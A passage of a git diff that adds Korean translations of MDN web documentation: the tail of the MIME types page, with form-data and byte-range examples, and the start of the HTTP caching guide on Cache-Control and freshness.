+<p>웹에서는 MIME 타입만이 가장 적절하며, 그러므로 조심스럽게 설정되어야 합니다. 브라우저와 서버들은 일반적인 타입이 제공된 경우에만 MIME 타입을 정의하고, 일치하는지 점검하거나 정확한 MIME 타입을 찾기 위해 접미사나 매직 넘버에 근거하는 휴리스틱(발견적 경험)을 사용합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<h3 id="일반적인_구조">일반적인 구조</h3>
+
+<pre class="syntaxbox">type/subtype</pre>
+
+<p>MIME 타입의 구조는 매우 간단합니다; <code>'/'</code>로 구분된 두 개의 문자열인 타입과 서브타입으로 구성됩니다. 스페이스는 허용되지 않습니다. <em>type</em>은 카테고리를 나타내며 <em>개별(discrete) 혹은</em> <em>멀티파트</em> 타입이 될 수 있습니다. <em>subtype</em> 은 각각의 타입에 한정됩니다.</p>
+
+<p>MIME 타입은 대소문자를 구분하지는 않지만 전통적으로 소문자로 쓰여집니다.</p>
+
+<h3 id="개별_타입">개별 타입</h3>
+
+<pre class="syntaxbox">text/plain
+text/html
+image/jpeg
+image/png
+audio/mpeg
+audio/ogg
+audio/*
+video/mp4
+application/octet-stream
+…</pre>
+
+<p><em>개별</em> 타입은 문서의 카테고리를 가리키며, 다음 중 하나가 될 수 있습니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">타입</th>
+   <th scope="col">설명</th>
+   <th scope="col">일반적인 서브타입 예시</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>text</code></td>
+   <td>텍스트를 포함하는 모든 문서를 나타내며 이론상으로는 인간이 읽을 수 있어야 합니다</td>
+   <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>모든 종류의 이미지를 나타냅니다. (animated gif처럼) 애니메이션되는 이미지가 이미지 타입에 포함되긴 하지만, 비디오는 포함되지 않습니다.</td>
+   <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>audio</code></td>
+   <td>모든 종류의 오디오 파일들을 나타냅니다.</td>
+   <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>video</code></td>
+   <td>모든 종류의 비디오 파일들을 나타냅니다.</td>
+   <td><code>video/webm</code>, <code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>application</code></td>
+   <td>모든 종류의 이진 데이터를 나타냅니다.</td>
+   <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>,  <code>application/pdf</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>특정 서브타입이 없는 텍스트 문서들에 대해서는 <code>text/plain</code>가 사용되어야 합니다. 특정 혹은 알려진 서브타입이 없는 이진 문서에 대해서는 유사하게, <code>application/octet-stream</code>이 사용되어야 합니다.</p>
+
+<h3 id="멀티파트_타입">멀티파트 타입</h3>
+
+<pre class="syntaxbox">multipart/form-data
+multipart/byteranges</pre>
+
+<p id="sect1"><em>멀티파트</em> 타입은 일반적으로 다른 MIME 타입들을 지닌 개별적인 파트들로 나누어지는 문서의 카테고리를 가리킵니다. 즉 이 타입은 <em>합성된</em> 문서를 나타내는 방법입니다. <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>과 {{HTTPMethod("POST")}} 메서드의 관계 속에서 사용되는 <code>multipart/form-data</code> 그리고 전체 문서의 하위 집합만 전송하기 위한 {{HTTPStatus("206")}} <code>Partial Content</code> 상태 메시지와 함께 사용되는 <code>multipart/byteranges</code>를 제외하고는, HTTP가 멀티파트 문서를 다룰 수 있는 특정한 방법은 존재하지 않습니다: 메시지는 브라우저에 간단히 전달됩니다 (문서를 인라인에 어떻게 디스플레이할지 모르기에, '다른 이름으로 저장' 윈도우를 제시할 겁니다)</p>
+
+<h2 id="웹_개발자들을_위한_중요한_MIME_타입">웹 개발자들을 위한 중요한 MIME 타입</h2>
+
+<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3>
+
+<p>이 타입은 이진 파일을 위한 기본값입니다. 이 타입은 실제로 <em>잘 알려지지 않은</em> 이진 파일을 의미하므로, 브라우저는 보통 자동으로 실행하지 않거나 실행해야 할지 묻기도 합니다. {{HTTPHeader("Content-Disposition")}} 헤더가 값 <code>attachment</code> 와 함게 설정되었고 'Save As' 파일을 제안하는지 여부에 따라 브라우저가 그것을 다루게 됩니다.</p>
+
+<h3 id="textplain"><code>text/plain</code></h3>
+
+<p>이것은 텍스트 파일에 대한 기본값입니다. 실제로 <em>알려지지 않은 텍스트</em> 파일일지라도 브라우저들은 그것을 디스플레이할 수 있다고 가정합니다.</p>
+
+<div class="note">
+<p><code>text/plain</code>이 <em>모든 종류의 텍스트 데이터</em>를 의미하지는 않는다는 것을 알아두시기 바랍니다. 만약 브라우저가 특정 종류의 텍스트 데이터를 예상한 경우, 반드시 일치한다고 간주하지 않을 겁니다. 특히, CSS 파일을 선언한 {{HTMLElement("link")}} 엘리먼트로부터 <code>text/plain</code> 파일을 다운로드할 경우, <code>text/plain</code>으로 표현된다면 브라우저는 그것을 유효한 CSS 파일로 감지하지 않을 겁니다. CSS의 MIME 타입인 <code>text/css</code>이 사용되어야 합니다.</p>
+</div>
+
+<h3 id="textcss"><code>text/css</code></h3>
+
+<p>웹 페이지 내에서 보통 인터프리트되어야 하는 모든 CSS 파일들은 <code>text/css</code> 파일이 되어야 합니다. 대게 서버들은 <code>.css</code> 접미사를 가진 파일들을 CSS 파일이라고 인식하지 못해  <code>text/plain</code> 혹은 <code>application/octet-stream</code> MIME 타입으로 전송합니다: 이런 경우 대부분의 브라우저들이 CSS 파일이라고 인식하지 못하며 조용히 무시될 겁니다. 올바른 타입으로 CSS 파일을 서브하는데 특별한 주의가 필요합니다.</p>
+
+<h3 id="texthtml"><code>text/html</code></h3>
+
+<p>모든 HTML 컨텐츠는 이 타입과 함께 서브되어야 합니다. <code>application/xml+html</code>와 같은 XHTML을 위한 대체 MIME 타입들은 현재에는 대부분 쓸모가 없습니다(HTML5이 이 포맷을 흡수했습니다).</p>
+
+<h3 id="이미지_타입">이미지 타입</h3>
+
+<p>오직 널리 알려지고 웹에 안전하다고 취급되는 소수의 이미지 타입만이 웹 페이지 내에서 사용될 수 있습니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">MIME 타입</th>
+   <th scope="col">이미지 타입</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>image/gif</code></td>
+   <td>GIF 이미지 (무손실 압축, PNG에 의해 대체됨)</td>
+  </tr>
+  <tr>
+   <td><code>image/jpeg</code></td>
+   <td>JPEG 이미지</td>
+  </tr>
+  <tr>
+   <td><code>image/png</code></td>
+   <td>PNG 이미지</td>
+  </tr>
+  <tr>
+   <td><code>image/svg+xml</code></td>
+   <td>SVG 이미지 (벡터 이미지)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>WebP (<code>image/webp</code>) 추가에 대한 논의가 있지만 새로운 타입의 이미지는 코드 베이스 크기의 증가를 불러오므로, 새로운 보안 문제를 야기할 수도 있어서 브라우저 벤더들은 그것을 수용하기 전에 매우 신중한 분위기입니다.</p>
+
+<p>다른 종류의 이미지들은 웹 문서 내에서 찾아볼 수 있습니다. 예를 들어, 많은 브라우저들은 파비콘 혹은 그와 비슷한 아이콘 이미지 타입을 지원합니다. 개별적으로 이런 컨텍스트 내에서, <code>image/x-icon</code> MIME 타입을 이용해 지원되고 있습니다.</p>
+
+<h3 id="오디오와_비디오_타입">오디오와 비디오 타입</h3>
+
+<p>이미지처럼, HTML은 {{HTMLElement("audio")}}과 {{HTMLElement("video")}} 엘리먼트에 사용하기 위한 지원 타입셋을 정의하지는 않습니다. 그래서 그것들 중에 비교적 작은 그룹이 웹에서 사용될 수 있습니다. <a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio 그리고 video 엘리먼트에 의해 지원되는 미디어 포맷</a>에서 사용될 수 있는 코덱과 컨테이너 모두를 설명하고 있습니다.</p>
+
+<p>이런 파일들의 MIME 타입은 대부분 컨테이너 포맷을 나타내며 웹 컨텍스트에서 대부분의 타입들은 다음과 같습니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">MIME 타입</th>
+   <th scope="col">오디오 혹은 비디오 타입</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><br>
+    <code>audio/wav</code><br>
+    <code>audio/x-wav</code><br>
+    <code>audio/x-pn-wav</code></td>
+   <td>WAVE 컨테이너 포맷 내 오디오 파일. PCM 오디오 코덱 (WAVE codec "1")이 자주 지원되며, 다른 코덱들이 좀 더 제한된 상태로 지원됩니다(PCM 오디오 코덱이 없는 경우).</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td>WebM 컨테이너 포맷 내 오디오 파일. 가장 일반적인 오디오 코덱인 Vorbis 그리고 Opus이 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm</code></td>
+   <td>WebM 컨테이너 포맷 내, 오디오를 지원 가능한 비디오 파일. VP8 그리고 VP9이 이 안에서 가장 일반적으로 사용되는 비디오 코덱입니다; 가장 일반적인 오디오 코덱인 Vorbis 그리고 Opus가 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td>OGG 컨테이너 포맷 내 오디오 파일. 이 컨텐이너 내에서는 Vorbis가 가장 일반적으로 사용되는 오디오 코덱입니다.</td>
+  </tr>
+  <tr>
+   <td><code>video/ogg</code></td>
+   <td>OGG 컨테이너 포맷 내, 오디오를 지원 가능한 비디오 파일. 이 안에서 가장 흔한 비디오 코덱은  Theora 입니다; 흔한 오디오 코덱은 Vorbis입니다.</td>
+  </tr>
+  <tr>
+   <td><code>application/ogg</code></td>
+   <td>OGG 컨테이너 포맷을 사용하는 오디오 혹은 비디오 파일. 이 안에서 가장 흔한 비디오 코덱은  Theora 입니다; 흔한 오디오 코덱은 Vorbis입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data"><code>multipart/form-data</code></h3>
+
+<p><code>multipart/form-data</code>은 브라우저에서 서버로 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Form</a>의 내용을 전송 시 사용할 수 있습니다. 멀티 파트 문서 형식으로써, 경계(이중 대시 <code>'--'</code> 로 시작되는 문자열)로 구분되어지는 다른 파트들로 구성됩니다. 각 파트는 그 자체로 개체이며 자신만의 HTTP 헤더를 가지는데, 파일 업로드 필드를 위한 헤더로는 {{HTTPHeader("Content-Disposition")}}, 그리고 가장 일반적인 것 중 하나인 {{HTTPHeader("Content-Type")}}이 있습니다({{HTTPHeader("Content-Length")}}은 경계선이 구분자로 사용되므로 무시됩니다).</p>
+
+<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aBoundaryString
+(other headers associated with the multipart document as a whole)
+
+--aBoundaryString
+Content-Disposition: form-data; name="myFile"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--aBoundaryString
+Content-Disposition: form-data; name="myField"
+
+(data)
+--aBoundaryString
+(more subparts)
+--aBoundaryString--
+
+</pre>
+
+<p>다음은 HTML form입니다:</p>
+
+<pre class="brush: html">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="myTextField"&gt;
+  &lt;input type="checkbox" name="myCheckBox"&gt;Check&lt;/input&gt;
+  &lt;input type="file" name="myFile"&gt;
+  &lt;button&gt;Send the file&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>HTML form은 다음 메시지를 전송하게 됩니다:</p>
+
+<pre>POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myTextField"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myFile"; filename="test.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3>
+
+<p><code>multipart/byteranges</code>는 브라우저로 회신하는 부분적인 응답 전송의 컨텍스트 내에서 사용됩니다. {{HTTPStatus("206")}}<code> Partial Content</code> 상태 코드가 전송된 경우, MIME 타입은 문서가 각각의 요청된 범위들 중 하나인 몇 가지 파트들로 구성되어 있음을 알려주기 위해 사용됩니다. 다른 멀티파트 타입처럼, {{HTTPHeader("Content-Type")}}은 경계선 문자열을 정의하기 위해 <code>boundary</code> 디렉티브를 사용합니다. 각각의 다른 파트들은 문서의 실제 타입을 가진 {{HTTPHeader("Content-Type")}} 헤더와 그들이 나타내는 범위를 가진 {{HTTPHeader("Content-Range")}}를 지니고 있습니다.</p>
+
+<pre><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+    &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="정확한_MIME_타입_설정의_중요성">정확한 MIME 타입 설정의 중요성</h2>
+
+<p>대부분의 웹 서버들은 기본 타입 중 하나인 <code>application/octet-stream</code> MIME 타입을 사용해 알려지지 않은 타입의 리소스를 전송합니다; 보안상의 이유로, 대부분의 브라우저들은 그런 리소스에 대한 사용자화된 기본 동작 설정을 허용하지 않으며 그것을 사용하려면 디스크에 저장할 것을 사용자에게 강제합니다. 정확치 않게 구성된 서버들의 몇 가지 일반적 사례들은 다음의 파일 타입에서 일어납니다:</p>
+
+<ul>
+ <li>
+  <p>인코딩된 RAR 파일. 이상적인 것은 인코딩된 파일의 실제 타입을 설정 가능한 것입니다; 이런 일은 대게 불가능합니다(서버가 모르는 타입일 수도 있고 이런 파일들은 다른 타입의 몇몇 리소스들을 포함하고 있을 수도 있습니다). 이런 경우에, <code>application/x-rar-compressed</code> MIME 타입을 전송하도록 서버를 구성하여 사용자가 그에 대한 유용한 기본적인 동작을 정의하지 않게 될 겁니다.</p>
+ </li>
+ <li>
+  <p>오디오와 비디오 파일. 적합한 MIME 타입을 가진 리소스만이 {{ HTMLElement("video") }} 혹은 {{ HTMLElement("audio") }} 엘리먼트 내에서 인식되어 재생될 수 있을 겁니다. <a href="/En/Media_formats_supported_by_the_audio_and_video_elements">오디오와 비디오를 위한 정확한 타입 사용</a>을 확인하시기 바랍니다.</p>
+ </li>
+ <li>
+  <p>개인적인 파일 타입. 개인적인 파일 타입을 서브한 경우 특별한 주의를 기울여야 합니다. 특별한 처리가 불가능하므로 가능하면 <code>application/octet-stream</code> 사용을 피하시기 바랍니다: 대부분의 브라우저들은 이런 포괄적인 MIME 타입에 대한 ("워드에서 열기"와 같은) 기본적인 동작의 정의를 허용하지 않습니다.</p>
+ </li>
+</ul>
+
+<h2 id="MIME_스니핑">MIME 스니핑</h2>
+
+<p>MIME 타입이 없을 때, 혹은 클라이언트가 타입이 잘못 설정됐다고 판단한 어떤 다른 경우에, 브라우저들은 MIME 스니핑을 시도할 수도 있는데, 이는 리소스를 훑어보고 정확한 MIME 타입을 추축해내는 것입니다. 각각의 브라우저들은 이런 과정을 다른 방식으로, 다른 환경 속에서 처리해냅니다. 이런 과정에 관한 몇 가지 보안 관련 사항들이 있는데, 몇몇 MIME 타입들은 실행 가능한 컨텐츠를 나타내고 다른 타입들은 그렇지 않기 때문입니다. 서버들은 {{HTTPHeader("Content-Type")}} 중에 {{HTTPHeader("X-Content-Type-Options")}}를 전송하여 이런 MIME 스니핑을 차단할 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">서버의 MIME 타입을 적절하게 구성하기</a></li>
+ <li>
+  <p><a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio 그리고 video 엘리먼트에서 지원하는 미디어 포맷들</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/caching/index.html b/files/ko/web/http/caching/index.html
new file mode 100644
index 0000000000..3ae3755244
--- /dev/null
+++ b/files/ko/web/http/caching/index.html
@@ -0,0 +1,193 @@
+---
+title: HTTP caching
+slug: Web/HTTP/Caching
+tags:
+  - HTTP
+  - 가이드
+  - 캐싱
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">웹 사이트와 애플리케이션의 성능은 이전에 가져온 리소스들을 재사용함으로써 현저하게 향상될 수 있습니다. 웹 캐시는 레이턴시와 네트워크 트래픽을 줄여줌으로써 리소스를 보여주는 데에 필요한 시간을 줄여줍니다. HTTP 캐싱을 활용하면 웹 사이트가 좀 더 빠르게 반응하도록 만들 수 있습니다.</p>
+
+<h2 id="다른_종류의_캐시들">다른 종류의 캐시들</h2>
+
+<p>캐싱은 주어진 리소스의 복사본을 저장하고 있다가 요청 시에 그것을 제공하는 기술입니다. 웹 캐시가 자신의 저장소 내에 요청된 리소스를 가지고 있다면, 요청을 가로채 원래의 서버로부터 리소스를 다시 다운로드하는 대신 리소스의 복사본을 반환합니다. 이것은 다음과 같은 몇 가지 목표를 달성하게 해줍니다: 모든 클라이언트를 서비스할 필요가 없어지므로 서버의 부하를 완화하고, (캐시가 원래 서버에 비해서) 클라이언트에 더 가까이에 있으므로 성능이 향상됩니다. 즉, 리소스를 회신하는데 더 적은 시간이 들게 됩니다. 웹 사이트에서 캐싱은 높은 성능을 달성하는 데에 주요한 요소입니다. 반면에 모든 리소스가 영원히 변하지 않는 것은 아니므로 리소스가 변하기 전까지만 캐싱하고 변한 이후에는 더이상 캐싱하지 않는 것이 중요합니다.</p>
+
+<p>캐시에는 몇 가지 종류가 있습니다: 크게 사설(private) 혹은 공유(shared) 캐시 두 가지 부류로 분류될 수 있습니다. <em>공유 캐시</em>는 한 명 이상의 사용자가 재사용할 수 있도록 응답을 저장하는 캐시를 말합니다. <em>사설 캐시</em>는 한 명의 사용자만 사용하는 캐시를 말합니다. 이 페이지에서는 거의 대부분 브라우저와 프록시 캐시에 대해서만 다룰 것이나, 그 외에도 더 나은 신뢰도, 성능 그리고 웹 사이트와 웹 애플리케이션의 확장(scaling)을 위해 웹 서버 위에 배포되는 게이트웨이 캐시, CDN, 리버스 프록시 캐시 그리고 로드 밸랜서 등이 있습니다.</p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="사설_브라우저_캐시">사설 브라우저 캐시</h3>
+
+<p>사설 캐시는 단일 사용자가 전용으로 사용합니다. 브라우저 설정에서 "caching"을 본 적이 있을 겁니다. 브라우저 캐시는 그 사용자에 의하여 <a href="/en-US/docs/Web/HTTP" title="en/HTTP">HTTP</a>를 통해 다운로드된 모든 문서들을 가지고 있습니다. 이 캐시는 서버에 대한 추가적인 요청 없이 뒤로 가기나 앞으로 가기, 저장, 소스로 보기 등을 위해 방문했던 문서들을 사용할 수 있도록 해 줍니다. 또한 유사한 방법으로 캐시된 컨텐츠의 오프라인 브라우징을 개선시킵니다.</p>
+
+<h3 id="공유_프록시_캐시">공유 프록시 캐시</h3>
+
+<p>공유 캐시는 한 명 이상의 사용자에 의해 재사용되는 응답을 저장하는 캐시입니다. 예를 들어, 당신의 회사의 ISP는 많은 사용자들을 서비스하기 위해 지역 네트워크 기반의 일부분으로서 웹 프록시를 설치해뒀을 수도 있는데, 그 덕분에 조회가 많이 되는 리소스들은 몇 번이고 재사용되어 네트워크 트래픽과 레이턴시를 줄여줍니다.</p>
+
+<h2 id="캐싱_동작의_대상">캐싱 동작의 대상</h2>
+
+<p>HTTP 캐싱은 선택적(optional)이지만 캐시된 리소스를 재사용하는 것은 보통 바람직한 일입니다. 하지만, HTTP 캐시들은 일반적으로 {{HTTPMethod("GET")}}에 대한 응답만을 캐싱하며, 다른 메서드들은 제외될 겁니다. 기본 캐시 키(primary cache key)는 요청 메서드 그리고 대상 URI로 구성됩니다(GET 요청만을 대상으로 하므로 URI만 사용되는 경우가 많습니다). 일반적인 캐싱 엔트리의 형태는 다음과 같습니다:</p>
+
+<ul>
+ <li>검색(retrieval) 요청의 성공적인 결과: HTML 문서, 이미지 혹은 파일과 같은 리소스를 포함하는 {{HTTPMethod("GET")}} 요청에 대한 {{HTTPStatus(200)}} (OK) 응답.</li>
+ <li>영구적인 리다이렉트: {{HTTPStatus(301)}} (Moved Permanently) 응답.</li>
+ <li>오류 응답: a {{HTTPStatus(404)}} (Not Found) 결과 페이지.</li>
+ <li>완전하지 않은 결과: {{HTTPStatus(206)}} (Partial Content) 응답.</li>
+ <li>캐시 키로 사용하기에 적절한 무언가가 정의된 경우의 {{HTTPMethod("GET")}} 이외의 응답.</li>
+</ul>
+
+<p>캐시 엔트리는 요청이 컨텐츠 협상의 대상인 경우, 두번째 키에 의해 구별되는 여러 개의 저장된 응답들로 구성될 수도 있습니다. 좀 더 자세한 내용을 참고하시려면 <a href="#Varying_responses">아래에서</a> {{HTTPHeader("Vary")}} 헤더에 대해서 읽어보시기 바랍니다.</p>
+
+<h2 id="캐싱_제어">캐싱 제어</h2>
+
+<h3 id="Cache-control_헤더"><code>Cache-control</code> 헤더</h3>
+
+<p>{{HTTPHeader("Cache-Control")}} HTTP/1.1 기본 헤더 필드는 요청과 응답 양측 모두에 있어 캐싱 메커니즘을 위한 디렉티브를 지정하는데 사용됩니다. 이 헤더 필드가 제공하는 여러 디렉티브들로 캐싱 정책을 정의하고자 한다면 이 헤더를 사용하시기 바랍니다.</p>
+
+<h4 id="캐시하지_않음">캐시하지 않음</h4>
+
+<p>캐시는 클라이언트 요청 혹은 서버 응답에 관해서 어떤 것도 저장해서는 안됩니다. 요청은 서버 측으로 전송되고 전체 응답은 매번 다운로드됩니다.</p>
+
+<pre class="notranslate">Cache-Control: no-store
+</pre>
+
+<h4 id="캐시하지만_재검증">캐시하지만 재검증</h4>
+
+<p>캐시된 복사본을 사용자에게 릴리즈 하기 전에, 유효성 확인을 위해 원 서버로 요청을 보냅니다.</p>
+
+<pre class="notranslate">Cache-Control: no-cache</pre>
+
+<h4 id="사설_캐시와_공개_캐시">사설 캐시와 공개 캐시</h4>
+
+<p>"public" 디렉티브는 응답이 어떤 캐시에 의해서든 캐시되어도 좋다는 것을 가리킵니다. 이것은 HTTP 인증, 혹은 보통 캐시 가능하지 않은 응답 상태 코드를 지닌 페이지가 이제 캐시되어야 할 경우 유용할 수 있습니다.</p>
+
+<p>반면 "private"은 응답이 단일 사용자만을 위한 것이며 공유 캐시에 의해 저장되어서는 안된다는 것을 가리킵니다. 사설 브라우저 캐시는 이런 경우에 응답을 저장할 수 있습니다.</p>
+
+<pre class="notranslate">Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="만료">만료</h4>
+
+<p>여기서 가장 중요한 디렉티브는 "<code>max-age=&lt;seconds&gt;</code>"로 리소스가 유효하다고 판단되는 최대 시간을 말합니다. 이 디렉티브는 요청 시간에 상대적이며, {{HTTPHeader("Expires")}}가 설정되어 있어도 그보다 우선합니다. 변경되지 않을 파일에 대해, 공격적으로 (긴 시간으로) 캐싱할 수 있습니다. 예를 들어 이미지, CSS 파일 그리고 자바스크립트 파일과 같은 정적 파일들입니다.</p>
+
+<p>좀 더 자세한 내용을 위해, 아래에서 <a href="#유효성Freshness">유효성</a> 섹션을 참고하시기 바랍니다.</p>
+
+<pre class="notranslate">Cache-Control: max-age=31536000</pre>
+
+<h4 id="검증">검증</h4>
+
+<p>"<code>must-revalidate</code>" 디렉티브 사용 시, 캐시는 오래된 리소스를 사용하기 전에 그 상태를 확인하고 만료된 리소스는 사용하지 말아야 합니다. 좀 더 자세한 내용은, 아래에서 <a href="#캐시_검증">검증</a> 섹션을 참고하시기 바랍니다.</p>
+
+<pre class="notranslate">Cache-Control: must-revalidate</pre>
+
+<h3 id="Pragma_헤더"><code>Pragma</code> 헤더</h3>
+
+<p>{{HTTPHeader("Pragma")}}는 HTTP/1.0 헤더입니다. <code>Pragma: no-cache</code>는 캐시가 검증을 위해 원래 서버에 요청을 보내도록 강제한다는 점에서 <code>Cache-Control: no-cache</code>와 유사합니다. 그러나 <code>Pragma</code>는 HTTP 응답에 대해 명세되지 않았으므로 일반적인 HTTP/1.1 <code>Cache-Control</code> 헤더를 신뢰성 있게 대체할 수 없습니다.</p>
+
+<p><code>Cache-Control</code> HTTP/1.1 헤더가 없는 HTTP/1.0 클라이언트와의 하위 호환성을 위한 경우에만 <code>Pragma</code>를 사용하여야 합니다.</p>
+
+<h2 id="유효성Freshness">유효성(Freshness)</h2>
+
+<p>리소스가 캐시 내에 저장되고 나면, 이론적으로는 영원히 캐시에 의해 서비스될 수도 있습니다. 캐시는 유한한 저장 공간을 가지므로 아이템들은 주기적으로 스토리지에서 제거됩니다. 이런 과정을 <em>캐시 축출(cache eviction)</em>이라고 부릅니다. 반면 어떤 리소스들은 서버 상에서 변경될 수 있고, 캐시가 갱신되어야 합니다. HTTP가 클라이언트-서버 프로토콜이므로, 리소스가 변경됐을 때 서버는 캐시와 클라이언트에 접근할 수 없습니다; 서버는 리소스에 대한 만료 시간을 알려줄 수밖에 없습니다. 만료 시간 이전에는, 리소스가 <em>유효(fresh)</em>합니다; 만료 시간 이후의 리소스는 <em>실효(stale)</em>됩니다. 축출 알고리즘은 대개 실효된 리소스보다 유효한 리소스에 특권을 부여합니다. 실효된 리소스는 축출되거나 무시되지 않는다는 것을 알아두시기 바랍니다; 캐시가 실효된 리소스에 대한 요청을 받은 경우, 이 리소스가 실제로 아직 유효한지 아닌지를 확인하기 위해 {{HTTPHeader("If-None-Match")}}와 함께 요청을 전달합니다. 만약 그렇다면, 서버는 요청된 리소스 본문을 전송하지 않고 {{HTTPStatus("304")}} (Not Modified) 헤더를 돌려보내 대역폭을 절약합니다.</p>
+
+<p>다음은 이런 과정에 대한 공유 캐시 프록시를 이용한 예제입니다:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>유효 수명은 몇가지 헤더에 근거해 계산됩니다. "<code>Cache-control: max-age=N</code>" 헤더가 설정된 경우, 유효 수명은 N과 동일합니다. 만약 이 헤더가 없다면, 이런 경우가 매우 많습니다만, {{HTTPHeader("Expires")}} 헤더가 있는지 없는지를 검사합니다. <code>Expires</code> 헤더가 존재한다면, 그것의 값에서 {{HTTPHeader("Date")}} 헤더의 값을 뺀 결과가 유효 수명이 됩니다.</p>
+
+<h3 id="유효성_검사_휴리스틱">유효성 검사 휴리스틱</h3>
+
+<p>원래 서버가 명시적으로 유효성을 지정하지 않았으면 (예를 들어 {{HTTPHeader("Cache-Control")}} 또는 {{HTTPHeader("Expires")}} 헤더를 사용해서), 휴리스틱으로 유효 기간을 추정합니다.</p>
+
+<p>이 경우에는 {{HTTPHeader("Last-Modified")}} 헤더를 찾습니다. 이 헤더가 있다면, 캐시의 유효 수명은 <code>Date</code> 헤더 값에서 <code>Last-modified</code> 헤더 값을 뺀 값을 10으로 나눈 결과가 됩니다.<br>
+ 만료 시간은 다음과 같이 계산됩니다:</p>
+
+<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge
+</pre>
+
+<p><code>responseTime</code>은 브라우저가 응답을 수신한 시간을 말합니다. 더 많은 정보를 위해서는 <a href="https://tools.ietf.org/html/rfc7234#section-4.2.2">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2.  Calculating Heuristic Freshness</a>를 참조하시기 바랍니다.</p>
+
+<h3 id="리비전된Revved_리소스">리비전된(Revved) 리소스</h3>
+
+<p>우리가 캐시된 리소스들을 많이 사용할수록, 웹 사이트의 응답성과 성능은 점점 더 좋아질 것입니다. 이것을 최적화하기 위한 좋은 방법은 만료 시간을 가능한 더 먼 미래로 설정하는 것입니다. 이것은 정기적으로나 자주 업데이트되는 리소스에 대해서는 가능하지만, 드물게 업데이트되는 리소스의 경우에는 문제가 됩니다. 이런 리소스들을 캐시하면 이득이 크지만, 업데이트하기가 매우 어렵기 때문입니다. 캐시한 리소스로부터 최대한 활용되는 리소스들로, 앞서 얘기한 방법 덕분에 이러한 리소스들을 갱신하기 더 어렵게 됩니다. 대표적으로 각 웹 페이지에 포함되고 링크된 기술적인 리소스들이 그렇습니다: 자바스크립트와 CSS 파일들의 변경은 드물지만, 그것들이 변경되었을 때에는 빠르게 갱신되기를 원할 겁니다.</p>
+
